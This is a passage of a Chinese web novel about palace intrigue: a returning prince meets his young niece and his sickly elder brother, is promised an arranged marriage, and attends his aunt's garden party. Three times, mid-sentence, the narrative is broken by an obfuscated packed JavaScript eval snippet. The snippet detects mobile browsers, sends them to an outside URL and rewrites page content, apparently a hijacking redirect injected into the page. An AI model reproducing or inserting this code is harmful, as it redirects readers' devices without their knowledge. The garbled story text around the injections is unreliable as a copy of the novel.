软团子眼睛一亮,像只小企鹅似的摇摆着绕开百里漾扑到了百里澄腿上,亲昵地抱着她,小奶音甜甜腻腻地叫人,“姑姑,姑姑,阿荧好想你,你都、都不来看我的。” 一下子说一句比较长的话,软团子后面还顿了一下。 百里澄弯腰将软团子抱起来,跟她道歉:“不好意思,姑姑最近有点忙,没能来看我们可爱的小阿荧,阿荧原谅姑姑好不好?” 阿荧两只小手抱紧了香香的姑姑,软软地诉说自己的想念,然后想起什么,小脸嘴角一拉,逐渐沮丧,“姑姑送给阿荧的裙裳,被阿荧、阿荧不小心跌破了,阿荧不是故意的。” 软团子都快闪出泪花了,可怜巴巴的,谁又能舍得怪一个萌宝呢?百里澄也不能,她轻声软语安慰软团子,“阿荧有没有受伤啊?裙裳破了还可以有新的,阿荧没有受伤才是最重要的。” “嗯嗯。”被安慰的阿荧认真点头,不等百里澄帮她擦眼泪,自己伸着小胖手就擦掉了,又是阳光活泼的软团子一枚。她被百里澄抱着,眼睛眨呀眨的,很快又看到了百里漾。 两个从来没有见过面的叔侄俩大眼瞪小眼。 “阿荧,你知道他是谁么?”百里澄指着百里漾问道。 阿荧眨巴眨巴眼睛,微微歪着头看着这个她撞到的像阿爹又不是阿爹的人。她也不害怕百里漾这个生人,只是看着看着就拧起了小眉头,小萌脸上出现了迷惑的表情,然后发现自己回答不了这个问题,果断扭头向姑姑摇头表示自己不知道。 百里澄也不说话,挑了下眉看向百里漾。 百里漾早就被这个小萌孩弄得一颗老阿姨心,啊不是,总之就是心痒痒地想抱抱这个小侄女。他这会儿也知道这个软团子是长兄的女儿,也就是太子妃梁氏于兴业九年所生之女阿荧。只是那会儿他已经去江都就封,一直到现在才回湛京,阿荧没见过他不认识也很正常。 “阿荧,我是你的小叔叔。”百里漾轻声说道。他从不知道自己竟然会这么喜欢孩子,主要是阿荧实在是太萌太可爱了。 乖巧可爱的小萌娃谁不喜欢。 16. 第 16 章 “小叔叔?”阿荧小脸上更纠结了,这跟她知道的小叔叔不一样,她明明记得小叔叔都不比她高的,而眼前这个人好大好高一只啊,她要仰着脖子才能看到。 百里澄明显比较了解小侄女,解释道:“不是八叔,他是你阿爹的同胞兄弟,是五叔。” 这里百里澄所说的“阿荧的八叔”是皇帝第八子百里流,与阿荧同是兴业九年出生的,只比阿荧大了一个月多一点,阿荧一直管他叫小叔叔来着。 小家伙显然很信赖百里澄这个姑姑,加上有血缘的牵引以及与自己阿爹颇为相似的面容,她信了百里漾是她的五叔,想了想,然后歪着小脑袋脆生生地叫了百里漾一声,介绍自己,“五叔,我是阿荧哟。” 诶哟,百里漾给她叫得心都要化了,满含期待地朝她伸出手,征求她的意见,“五叔可以抱抱你么?” 阿荧先看了看百里澄,见她颔首后,伸出了小胖手回应,然后她就落到了百里漾的怀里,被稳稳当当的抱着。 忽然一下子变得更高了,她很少被人抱得这么高,阿荧对这个高度表现得很新奇,还伸出手比划了一下,她变得同姑姑一般高了。 “五叔好厉害。”阿荧毫不吝啬地夸奖她五叔,一边咯咯笑了。 百里漾抱着软软糯糯的小团子,听着夸奖,只觉得心都化掉了,“五叔还能让你变得更高。”他可以的,带着小侄女玩飞飞一点问题都没有。 “阿荧。”正当百里漾要架着阿荧举高高的时候,传来一个轻软的女声,循声望去,是一宫装丽人,他认得,这是太子妃梁氏。 阿荧听见母亲的声音,让五叔把她放下来,迈着小短腿跑到太子妃身边,伸出小手让阿娘牵着走到了百里漾姐弟俩面前。 百里澄:“皇嫂。” “见过皇嫂。”百里漾行礼道。 他是见过太子妃的,那时便觉得太子妃是一个性情比较淡漠的人,五年后再见,只觉得她似乎更淡漠了。 太子妃:“五弟回来了,一路可还算顺利?” “一切顺利,谢皇嫂挂怀。”百里漾说道。他与太子妃没见过多少次,并不熟悉,态度难免客气了些。 “五弟长大了。”太子妃轻轻感慨了一句,而后低头看向身边的小不点,淡漠的脸上出现了几丝柔情,介绍道,“阿荧,这是五叔。” “阿荧知道是五叔,姑姑告诉阿荧了。”软团子乖的不得了,还告诉太子妃,“方才五叔抱阿荧了呢。” 百里漾这时想起一件要紧事,他还没给小侄女见面礼呢。他之前就准备好了,直接从袖子中掏出一块上等羊脂玉雕刻的玉佩,蹲下/身子递给阿荧,“五叔今日第一次见阿荧,送个礼物给阿荧好不好?还有这个。” 不只玉佩,还有一个橘猫布偶,变戏法似的出现在阿荧面前。憨态可掬爆可爱的猫咪玩偶一出现就俘获了软团子的心。阿荧一看眼睛就亮了,满眼写着“想要”却没有动,而是转头用目光询问母亲的意见。 太子妃看到百里漾对待阿荧的温柔亲近,眸光微动,她含笑对着点头,阿荧立即欢喜接过五叔送给她的见面礼,糯糯地道谢,“谢谢五叔,阿荧很喜欢。” 小孩子嘛,阿荧真的很喜欢布偶猫咪,接住了就抱在怀里,小脸一顿乱蹭,爱的不行。 “殿下知晓大妹与五弟要来,因太医嘱咐不能受风,便让我在此等候。”太子妃含笑说道,解释了太子不能亲来迎两个弟弟妹妹的原因。 “我们莫让阿兄久等,快些进去吧。”百里澄说道,百里漾亦点头。几人加快步伐到了东宫的主殿,也是太子寝宫。 太子早在会客的偏殿等着了。此前他打发身边的内侍去殿外候着,见着长公主与江都王他们过来就立即回来向他禀报。 “殿下,太子妃带着郡主与长公主、江都王过来了。”内侍一直候着,远远见着人了便赶紧过来禀报太子。太子面上一喜,走到了殿门出等候。 “五郎,果真是长成大人了。”太子看着百里漾与自己有几分相像的容貌,感慨又激动。 “五郎拜见阿兄。”百里漾本就是来拜见太子的,见太子在殿门候他,忙迎了上去行礼。 太子亲手扶起他,“回来便好,我们入殿中说话。” 兄姊弟三人入了殿中就坐,太子妃知他们三人有话要说,带着阿荧避开了。 “阿兄身体可好?素日里还是要多看顾些自个。”百里漾拧眉道,透出一股浓重的担忧。 说真的,此次见到太子,百里漾亦有些心惊。长兄似乎比五年前更加憔悴孱弱了,近看更是发现他身形单薄瘦弱,脸上颧骨凹陷进去,始终萦绕着一股病容。这可不是什么好的征兆,只能说明长兄这几年身体一直在持续衰弱,还变得更加的孱弱了。 “我的身体我知晓,会多加注意的。”哪怕知道弟弟是真心实意地关心自己,太子却不愿意在这个话题上多说,反而兴致勃勃地问了许多百里漾在封国的事情。 百里漾眨了眨眼睛,好在这话题之前在椒房殿时崔皇后也问过,他便又说了一次,不过比在椒房殿时说得更多更细致些。 在说到此前褚宗铉闹出的“换田事件”时,太子叹道:“世家豪族把持乡里地方,由来已久,早已凝成一股势力。即便是当年皇祖父手段如雷霆,也未能彻底根结。”他看向百里漾,目露赞赏,“五郎做的很好,那些世家豪族敢伸手,就当用快刀将他们斩下去。” “褚氏,我记得,定安王妃便是出自怀郡褚氏罢。”百里澄悠悠说道。 “是,定安王此前便入京了。”说到这,太子的眉眼变得凉薄了些。 太子其实对着底下的弟弟妹妹们是很有长兄风范的。可实在耐不住定安王野心勃勃,他心里盼着太子早死好自己上位,行为举止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736838|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不能如面上表现的真诚,表里不一,处处透着虚伪。太子对着他实在生不起什么仁爱弟弟的宽和心肠。 讨论定安王实不是一个令人欢喜的话题。百里漾忙把话题转到了阿荧身上,“阿荧生得可爱乖巧,叫人见着欢喜。” 提及爱女,太子面色果然显而易见地浮现喜色,摇头无奈中带着宠溺说道:“她呀,最近精怪着呢。也不知道哪里来的劲头,跑起来好些个女使都追不上,皮得很。” “孩子活泼有劲的好。”百里漾看向长姐,“日后说不得也能如阿姐一般骑马射鹰。” “她若能学的同她大姑姑一般厉害,我梦里都要笑醒了。”太子笑道。 百里漾在东宫坐了有一段时间便起身告辞了,他要出宫往宅邸休整,晚上还要去往椒房殿赴家宴。 虽说此前皇帝膝下的皇子们都是到了年纪就直接封王就藩到封地去的,这五年间也未曾回京,可他们在湛京中都是有宅邸的,全是由皇帝命有司建造建造,只是此前主人不在罢了。今年诸侯王们都回来了,提前去派人整理打扫,人一回京就能直接住进去。 这事说起来百里漾还颇有点心酸的。对于皇子而言,封王就等于是外人了,不可能再住到宫里了。加上他当年封王时是那般情形,颇有种被赶出来的感觉。 按照当初高/皇帝定下的规矩,除了太子,其余皇子到了十二岁都要直接封王,出京前往封地就封。在百里漾十二岁之前,他的两个兄长定安王百里洪与长夏王百里涌皆是如此。但至百里漾十二岁时,下面的臣子们见皇帝对于给五皇子封王送其就封迟迟没有动静便急了,纷纷上奏请求皇帝循例而行。皇帝那时把奏折通通压下,更是引起了大臣的不满,有些厉害的直接往宣室殿堵皇帝要直言极谏。 皇帝也不能在众多臣子的反对下一意孤行,于是下诏册封皇五子百里漾为江都王,封地江都,遣出京就封。 当初几方入场,几轮博弈之后终于定下了结果。 百里漾一路从东宫出来,望着熟悉却终究免不了陌生的皇宫,不禁心生感慨。 “阿姐要送我出宫么?” 百里澄是与百里漾一道从东宫出来的,两人走了一段路后,到了一处分岔的宫门。他们本该分开,一个往宫里,一个往宫外。可百里澄却选择了与百里漾一样的方向,她要出宫。 “你初回京,有些事还没那么明白,慢慢来就是。”百里澄边走边道,“定安王回京早,至今他已在府邸行了好几回宴了,赴宴之人多是公卿大臣。” 百里漾微愣随即反应过来长姐是在提点他,又告诉他定安王在京中做了什么。 诸侯王在地方,即便有权有势也远离朝廷,距离远了,消息传过来都需要时间,许多事情就不太能及时反应。为了免除被动,朝中就必须要有自己的人脉,在关键时刻为自己说话有些事情也需要这些人去。 17. 第 17 章 这种操作都是放在私底下的,不只在外的诸侯王们,甚至外任的官员们也会这么干。但有些人目的相对单纯,有些人就是居心叵测了。 定安王素有大志向,多年来亦有拉拢朝中大臣。而感情是需要经营的,政治感情更需要经营。往年诸侯王回不了京,联络感情这事都是王国相或者其他心腹代替的,但有些事是不能替的,会显得不重视。以前是没办法,现在都回京了,可不得好好把握住机会。 百里漾能够理解定安王的做法,但定安王也过于心急了。湛京上下都有眼睛看着,知道的会如何看待他这般行事?谁不知道他存着什么心思,放在东宫眼里,只怕会觉得更恶心。 “阿姐放心,我知道的。”百里漾回道。 定安王行事莽急,他不能与之一样。 “行了,你一路劳顿也累了,回去休憩养养精神。”站在一处驰道旁,百里澄容色柔和了些,看着幼弟说道。 百里漾拱手道:“是,阿姐,我这就先回宅邸了。” 皇帝赐给嫡幼子的宅邸在宣化街上,距离皇宫有小半个时辰的车程。宅邸正门之上挂的匾额显示此处是江都王宅邸。百里漾从江都带来的人眼下就被安置在王府中,包括随行而来的六百甲士。皇帝向来不亏待儿子,此处宅邸占地极广,更建有亭台楼阁,处处尽显气派华贵,还引了活泉作湖,周围遍植奇花异草。 这是百里漾自宅子建成之后第一次来,可他现在却没有逛逛的兴致。这些时日一直在赶路,从出宫之后一股倦意便席卷全身,他只想睡觉,挨着床榻就睡着了。睡了一个时辰才醒来,又沐浴更衣,看时辰差不多了,便入宫至椒房殿赴家宴。 这是小宴,宴上只有帝后与太子、百里澄、百里漾以及太子妃,还有小阿荧。他们已有五年没有像这样坐在一起吃团圆饭了。 皇帝很久没有这么高兴过了,不顾崔皇后的劝阻多饮了两杯。阿荧从小受尽宠爱胆子大得很,被皇帝抱着敢伸手去揪他的胡子。 太子妃见状忙呵斥了一声,皇帝却说无妨,抱着阿荧哈哈大笑道:“百里家的女郎就该这样,英勇无惧有魄力,很好。” ……您不嫌疼得呲牙就好。 其实皇帝心里是有遗憾的,长子膝下只有一女,子嗣确实单薄了些。可有些话他是不能当面直接说出来的,长子自小病弱,能得一女亦是幸事,说出来长子难免自伤。 这年头谁不盼着多子多福,皇帝亦是如此。他早已到了做祖辈的年纪,便希望子女都能开枝散叶,有子嗣承继。尤其他看重崔皇后所生的孩子,希望膝下的三个嫡子女都能多子多女,他亦好享受天伦之乐。可惜啊,到如今也只得阿荧一个孙女。 长子情况特殊不能强求,长女婚事坎坷至今还没嫁出去,幼子刚回京还未娶妻。如今他若想早点抱上嫡孙,也只能盼着幼子。 于是皇帝看向百里漾,“你已老大,你母亲为你相看了一门亲事,你可知晓?” 百里漾抿唇,答道:“阿娘已同儿说了。” “那便好。”皇帝捋须,“你早该成亲的,不想拖了几年。过几日朕便下诏给你赐婚。” “臣谢陛下恩典。”百里漾起身,伏地叩首谢恩。 皇帝说的是下诏,就要以臣子的身份叩谢皇恩。 皇帝乐呵呵的,“未来的新妇是定国公嫡女,你要好好待她。” “是,儿知道的。”百里漾应道。 他其实是有些泄气的,对这桩婚事始终有一种无力感。依照他真实的想法是不情愿的,他还没有做好与一个没见过面的女子成亲的准备。且依照如今的情况,一旦成亲,除了死亡,他们今生便是绑定的。 比起崔栋单纯的不乐意多一个人来管束自己,百里漾的不愿意更多的是不确定自己能不能承担起婚姻的责任。毕竟他这一世是男子,所有什么,总是对方比较容易吃亏的。以及,受前世的影响,他内心希望最好能与喜欢的人一起相守。 但他也这事没得更改的余地了。再说了,不是定国公家的,也总会是别人家的,以他的情况终究是需要一个妻子的。 百里漾的心叫皇帝下诏赐婚的话给搅得一团乱,没留意酒便饮得多些,至家宴结束,他已是通红两腮,眼神迷蒙了。他是诸侯王,是外臣,不好留宿宫中的,要回宫外的宅邸。 崔皇后不放心幼子,太子也贴心便指派了自己身边的内侍送百里漾回宅邸。待回到宅邸了,百里漾又清醒了些,饮下仆从备下的醒酒汤,他坐着休息一会儿才去沐浴,洗去一身酒气,然后回房倒头就睡。 次日醒来,神思略昏沉之际,还未睁眼,百里漾便听到了些许隐隐约约的声音。缓缓睁开眼后,视线里的景物从模糊至清晰,百里漾撑起身靠在床榻上,揉了揉尚有些酸胀的脑门两侧,就听到了门外来人禀报说道:“大王,崔都尉来了。” 崔栋,他来这么早干什么? “请他到花厅等候。”百里漾没想那么多,只是话刚说完,门外就有了动静。 “我要进来了。”崔栋隔着门请安见礼一气呵成,然后一个人一阵旋风似“刷”地刮进来,作势就要扑到百里漾的床榻边。 “!!!”百里漾的动作更快,快速飞身一记弹腿对着人扫过去。崔栋的反应也不可谓不快,回身后撤同时双臂横在身前挡住了这一记腿攻,退到了一丈之外。 “你干什么?”崔栋瞪眼急道。 “你干什么!出去,等我换好衣服。”百里漾也瞪他,直接赶人,同时把被褥往身上捞了捞。 “你这娘们似的毛病啥时候能改改,都是大老爷们,看一眼能怎么样。”崔栋不乐意了。他这表弟就是有一样不好,在某些方面特别的龟毛事多,有时候比女人还要讲究,还有点矫情。 百里漾再瞪他。 崔栋举手投降:“好好好,我去花厅等你。你快点,我有急事找你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736839|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >整个人显得焦躁不安的。 一盏茶过后,穿戴整齐的百里漾出现在会客的花厅。 崔栋早已等得不耐烦,喝了两杯茶水就在那里转茶杯玩,转的却不怎么样,已经摔碎了一个青瓷茶杯。百里漾到时,正好亲眼目睹他摔碎第二个,一时忍不住眼角微抽。 侍人上前将碎片收拾走后,重新给两人上了新茶。 “你做甚大清早就来扰人清梦?”百里漾才问了一句,没想到崔栋这一向自诩铁骨铮铮的汉子竟然开始掩面而泣。 百里漾整个人一个大无语,也不说话,慢悠悠地用茶盖撇茶沫,静静看着崔栋表演。 崔栋见没人给他“捧场”也懒得哭了,人蔫在椅子上,说话声显出一种有气无力,一双眼睛透出点伤心,看向百里漾,“你不问问我怎么了么?” 百里漾:“……” 他一来问的就不是这个么? 没办法,为了避免崔栋揪着不放,继续给他表演“糙汉落泪”,百里漾只好再问了一遍。这货看着精神头不太好,像是被打击到了的样子。其实连猜都不用猜,他知道这货是为什么事而来的。 “阿爹阿娘为我聘卢氏为妻,已经开始走六礼了,我不喜欢她。”说到后面,崔栋宛如一只炸了毛的公鸡。 百里漾知道这货的恐婚情节有点严重,防止他真的炸毛,于是问:“你见过她?” “没有。”崔栋拧着眉道。 百里漾:“既没见过,那你不喜欢她哪点?” 这下崔栋的眉要拧成两条麻花了。百里漾一脸看破真相道:“你看,你都没有见过人家,怎知道她不好?你不是不喜欢卢氏,你只是不喜欢她将成为你的妻子。” 崔栋沉默了。 百里漾再接再励道:“你总是要成亲的,不是么?你不要总想着成亲不好,想想成亲的好处,或许就没有那么抗拒了。” 这门亲事都已经开始走六礼了,没得更改,百里漾只能劝崔栋看开点。其实这话未尝不是劝他自己,毕竟他也是要即将成亲的人。 “其实我就是想来找你倒倒苦水,我也知道,这事是改不了的。”缓了一阵,崔栋的丧气少了些,接着又忧愁起来,“她若是个母老虎如何是好?日后我夜不归宿会不会被她揍啊?” “夜不归宿,你不回家要去哪?”百里漾问道。他有预感,这货说的肯定不是什么因为公务等不得已的原因。 崔栋答得理直气壮,“勾栏瓦舍,你是没去过那地方不知道那里的乐趣。”说着又颇有些遗憾,“还没告诉你,其实我在江都有个相好来着。这次进京,我问她可愿意随我前往,她说不舍故土、家中尚有老母幼弟需要看顾,含泪拒绝了,我们终究是有缘无分。” 百里漾再次无语凝噎。 人家那是纯粹的不想同你进京,说的都是借口。什么不舍故土、家中尚有老母幼弟需要看顾,以崔栋的身份地位来说,这些都不是问题。 18. 第 18 章 不过,那女子也是一个聪明人。她肯定事先打探过崔家的门风,知道崔家是基本不可能接纳她这样的女子进门的,当断则断,干脆直接地舍了与崔栋的这段关系。 百里漾不想听崔栋的这种风流韵事,要赶他走。自己一大早被他叫醒,这会儿连早饭都没有吃。 崔栋不走,他也没吃早饭,要留下来蹭饭,又说:“过两日越国长公主会举办一场游园会,到时我们一道去好了。你许久没有回来了,京中有许多变化,正好借着这个机会去瞧瞧。” 百里漾狐疑地把他瞧着,然后问:“我看这才是你今早来的目的吧。” 长公主府举办的游园会,规模必然不会小,届时湛京中怕是有一半以上高门权贵家带着家中女眷会去。但像这种大型聚会,目的肯定不只是游园,某种意义上还相当于是一次大型的相亲会,至少会有很多夫人会借着这场游园会为自己的儿女相看儿媳、女婿。崔栋想去游园会,估计是这次卢氏也会参加,他是想去看看卢氏罢了。 他还能不清楚崔栋心里的那点小九九。 崔栋见自己的小心思被百里漾看穿了,有点不好意思地扣了扣脸皮,又担心百里漾不跟他去,他便抛出一则消息,“此番据说定国公家的夫人女郎也会去。” 这话里含的意思已经够明显了。 百里漾沉默了,陷入了思索,眉眼间出现了一些挣扎。正如崔栋想在成亲前去看看未婚妻长什么模样,他说不想那绝对是假的。对于一个即将与自己牵扯一生的人,百里漾是既好奇又忐忑的。 崔栋一看就知百里漾已然心动,当即拍板道:“那便说好了,一同去,那日我提前来寻你。” “行吧。”之后百里漾不知想到什么,忽有些心不在焉,最后是草草吃完了早食。 崔栋今日来也不只是为前面的那些事的,他们还有正事要办,用完早膳后与百里漾往鸿胪寺走了一遭。他们这次进京为的是岁贡,贡品就有许多,要往鸿胪寺登记造册、行交付之事。崔栋身上还担着江都国的云骑都尉职务,是百里漾的属臣,一些正式的场合是需要跟在百里漾身边随行保护的。 凡诸侯王,刚入湛京的头几日总是忙碌的。除了办正事,人情交际也必不可少。百里漾记着那日从东宫出来长姐的提点,只拜访了几个同宗或是关系亲近的长辈,如舅舅崔大将军、越国长公主以及同样从封地赴京的皇叔淄川王。 越国长公主与淄川王是皇帝一母同胞的妹妹与弟弟。 因着大衍立朝时间不长,高皇帝的子嗣不多,整个百里氏剩下的同宗同族也没几个,一起都加上能让百里漾亲自去拜访的也不多,只有皇姑母百里纭与皇叔百里横。 过几日百里漾要去的游园会就是皇姑母越国长公主举办的。 越国长公主名纭,是高皇帝唯一的女儿,上头嫡亲兄长做了皇帝,下头亲弟弟是淄川王,身份之贵重全天下也只有崔皇后能够压她一头,就连百里澄这个嫡长公主的分量比之她这个国长公主还要差那么一点点。 当年高/皇帝疼女儿划了一块富饶之地赐给越国长公主作封地,湛京中又建有占地广阔、堂皇富丽的长公主宅邸,因她是皇女,就封于她不是强制性的,故而这么些年来,她有大半的时间都居住在湛京。百里漾便是去往那座越国长公主宅邸拜访皇姑母的。 “我们的小阿漾竟出落得这般好看了!”越国长公主还像百里漾幼时一般揉搓着他的脸,末了还感叹道,“这放出去得迷倒多少女郎?” “阿娘,‘出落’这词不是这么用的。”越国长公主之子骆恒相当无奈,同时向百里漾投了一个歉意的眼神。 百里漾表示理解,并不介意。 越国长公主读书不多,瞎用词也不是一回两回了,大家早就都习惯了。只因她当年刚出生那会儿,高/皇帝刚从泥腿子升级成暴发户没多久,不太注重女儿的文化课教育,更没想着把女儿往大家闺秀方向培养,后面又忙着打天下,于是越国长公主就一直自然野蛮生长到了如今,虽说后来补课把字认全了,可再进一步就有点不太行了。 “那有什么打紧的。”越国长公主满不在意,对百里漾稀罕的不得了,“阿漾打小就是个可爱漂亮的,长大了就更好看了。” “阿娘,您让五王先坐下喝口茶。”骆桓劝道。他顾忌着百里漾的身份,可不好让自家母亲一直揉搓着一国诸侯王的脸不放,这可不是小时候了。 “五王请喝茶。”骆桓向百里漾作请道。 “谢表兄。”百里漾道谢道。 借此他也终于逃脱了越国长公主的“魔爪”。不得不说这位皇姑母手还挺有劲,揉搓得他的脸都有些泛疼,他又不好当着人的面给自己揉揉。 姑侄俩坐下来闲话家常一会儿,越国长公主笑眯眯地表示,“湛京这几年添了许多有趣的事物,过两日我办个游园会,你也来,看看有哪些新鲜的好玩意。” 百里漾之前已与崔栋约好一道去的,这会儿皇姑母又亲自邀请他前去,之前也已经下了帖子了。他想到崔栋与他说的话,心里顿时有了几分明白,向越国长公主拱手道:“谢姑母,到时我定当前去。” 百里漾又在长公主府坐了些时间后便告辞离开了,他离开后,越国长公主母子俩之间有了一次对话。 骆桓:“阿娘,五王他已是江都王,不比幼时了,您方才的举动颇为不妥。” 但凡男子,长大后,都是要颜面的,何况是椒房嫡出的诸侯王。如今东宫又是那般情况,一个搞不好今日来的这位极有可能就是未来的天子了,他们家对待这位的态度就更应该慎重。 “你不懂。”越国长公主并不想与儿子讨论这个问题,她这个儿子就是太死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736840|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板无趣了,明明小时候还是很可爱讨喜的。她赶儿子离开,“游园会筹备的如何了?还不去看看是否是疏漏的地方。” “是,儿子遵命。”母亲不肯听劝也不是一两回,骆桓也只能无奈叹气。 游园会的前几日,不只筹办方越国长公主府要为游园会做筹划,参与这次游园会的人有也要为这次堪称盛大的活动做周全的准备。前有诸侯王回京,后有长公主游园会,再加上此前椒房殿中的那一场宫宴,这一联系下来,许多人心思都活络开了。 定国公府中,侍女捧来新制的衣裳,一共十二套,每一套都是请了绣工精湛的女绣精心制作的,如今需要颜漪选出其中一套,在游园会那日穿去。 “就它罢。”颜漪的视线一一落在那些衣裳上面,随后选择了第六个托盘中的衣裳。 侍女笑道:“姑娘您选的这套亦是大娘子一眼便相中的,穿在您身上一定会成为那日里最好看的女郎。” “最好看么?他人的目光与看法我又何须在意。”颜漪轻抚过盘中的衣裳,口中说道。 越国长公主的游园会,她去,不为游园,只是借着这个由头去与江都王见上一面。 “大娘子安。” “阿娘。” 定国公之妻曹氏进来,屏退身边伺候的侍女,同女儿说道:“若无意外,游园后之后,赐婚的诏书便发下了。” “女儿知道,请阿娘放心。”颜漪将手搭在母亲曹氏手背上,试图以此让她放心。 女儿要出嫁,最忧心的便是母亲。尽管江都王已经是他们能够挑选到的最好的人选了,可对于现在的她们来说,那依旧是一个未知的未来。未知,总是令人充满忧虑的。 颜漪道:“长公主同女儿说过,江都王是一名很不一般的男子,婚后哪怕不能做到夫妻恩爱,亦能相敬如宾。” 百里澄与颜漪俱是湛京中最顶级的贵女,又有父辈的情谊在,她们的圈子是重合的,一年里见面的次数少说都有二三十回,两人的交情亦是不错。百里澄对未来的弟媳说这些也实属正常。 颜漪想的是,这世间哪有那么多恩爱夫妻,彼此之间能够做到相敬如宾已然是幸事,更何况是嫁入皇家。她很早就明白,自己的婚事由不得自己做主,甚至可能父母双亲亦很难全然决定,她给自己做了多年的心理准备,如今事到临头,她也能以从容淡然的心态面对了。 曹氏道:“陛下与皇后有意让江都王举行婚仪后再回江都。”她满心怅然,女儿成亲后就要随夫君一同前往封国,从此母女分离两地,不知何时才能再相见。 “女儿还可多留些时日在爹娘身边尽孝。”颜漪将头轻轻枕在母亲曹氏的膝上,轻声道。 满室静谧安宁中,曹氏轻抚着女儿的额发,嘴里发出一声轻微的叹息。她不舍女儿嫁人,也更怕女儿所嫁非良人。 19. 第 19 章 到了游园会的那日,崔栋没有能如他之前说的那般与百里漾一同前往,只因他的母亲国舅夫人李氏带着女儿崔若也要前去,毕竟儿子的婚事是解决了,女儿的也要早早打算、相看起来。如此,崔栋也不能抛下亲娘妹妹让她们独自去了。 没办法,百里漾只好自己去。 考虑到游园会上说不定会有些活动需要他亲身上阵,他换上了一身比较容易活动的衣服,袖子不宜过大,真要下场时将两边卷起便可。可他又不完全是去玩耍的,还有一项重要的事项——与女方见面,故而衣着上亦要显得稳妥些。衣服的配色便以玄青两色为主,时下世人以玄色为尊,认为其可增添庄重敬肃之感。 骑上高头大马,随行十二骑扈从,百里漾出发前往此次游园会的举办地——一处越国长公主位于西郊然溪山的别业。 湛京西郊有座然溪山,占地甚广,风景秀丽,更有一条然溪穿流而过,草木繁盛,物种奇多,春来百花争艳,夏日有流水潺潺。如此宝地,引得不少人竞相在此处购置别业,而其中最大的一处之一便在落在越国长公主名下,成为她的私产。 出了湛京城门,一路向西,小半个时辰的功夫,百里漾就来到了别业门口。 这次游园会,越国长公主府向湛京中的不少人家都发去了帖子,别业门口车马排了好几条长长的队伍,正由着长公主府的人引着入内。 百里漾一行人夹杂在其间,引起了一些人的注目。他是个生面孔,绝大对数人是不认得他的。但见他仪表不凡,随行之众,便猜测他的身份。 “五王。”越国长公主之子骆恒得到消息说江都王已至别业门前,他赶紧向身边的宾客告罪一声,又跑去知会了母亲后,赶紧去门口亲迎了。 “表兄客气,唤我五郎便是。”百里漾上前扶住了骆恒想要行礼的手,语带亲切说道。 “那我便托大,唤你五郎了。”骆恒笑道,边说边引着百里漾往别业内去,“母亲早前便千叮咛万嘱咐,说你头一回来,怕你迷路,让我来别业门口迎候你。” 百里漾道:“我第一次来此处,请表兄引我去拜见姑母。”来主人家玩耍,进门头一件事自当是先去拜见主人家。 骆恒是越国长公主与驸马温成雍之子,今年二十二岁,已娶妻生子。其父温驸马是习武之人,当初追随高/皇帝打天下立下不少功业,爵封侯,如今还任着九卿之一的卫尉。他却未随其父习武而从文,如今已从太学结业授官,在光禄寺任职。 百里漾与骆恒差着五岁,小时候就少有与这个表兄凑到一起玩,就封之后更是没有见过面。如今两人相处,他对百里漾更多的是敬着,所以两人一路说话说的也多是客套的场面话。 越国长公主的别业占地广阔,即使今日前来的宾客众多亦能有条不紊地安排下去。骆恒引着百里漾到了一处宽阔的蹴鞠场外,场上亦有两队人马展开了激烈的竞逐。周围两侧都是临时建起的看台,围满了人,神情紧张地盯着蹴鞠场上的战况,不时有喝彩声响起。 时下蹴鞠是一项十分受欢迎的竞技运动,不仅流行于民间,在上层圈子以及军中亦很盛行。就百里漾所知的,湛京的这些权贵子弟们,即便学业不行,可若是下到蹴鞠场再菜的多少也是能踢上几脚的。 “姑母安。”越国长公主身为主人家,她的看台设在南面视野最好的位置。百里漾到时她正吩咐身边的侍女为场上的蹴鞠比赛添加彩头。 “五郎来了。”越国长公主一见百里漾便欢喜道,随后便向周围人介绍百里漾,“这是我家五郎。” 越国长公主只生有一子一女,她说的五郎不会是她家的,只能是最近回京的江都王了。 “见过江都王。”周围人惊讶后纷纷行礼道。 这些人大多是女眷,能在越国长公主的看台陪席,基本都与越国长公主交好,亦是京中身份不低的高门权贵家的女眷。京中最近发生的事情让她们对这位江都王多少是有些好奇心的。但百里漾位尊在她们之上,她们不能直视亦透过自己的角度悄悄打量了这位江都王。 这么一看,眼前就是一亮。 当年椒房之貌可是冠盖一时,东宫与长公主的好姿容大家皆有目共睹,如今再看这位江都王的容貌,俊逸温润,体态修长,目光清正,谦礼而不矜傲,令人好感蹭蹭蹭就上去了。 